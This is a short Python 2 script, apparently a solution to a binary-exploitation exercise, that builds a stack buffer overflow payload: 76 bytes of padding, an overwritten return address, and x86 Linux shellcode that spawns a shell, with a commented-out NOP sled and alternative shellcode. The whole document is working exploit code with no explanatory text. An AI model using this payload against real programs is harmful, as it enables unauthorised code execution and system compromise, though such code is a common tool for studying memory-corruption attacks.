import struct

junk = "A" * 76

eip = struct.pack("I", 0xbffff7c0)

#nopslade = "\x90" * 16

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

# Working withou nop slade # shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

payload = junk + eip + shellcode

#payload = junk + eip + nopslade + shellcode

print payload
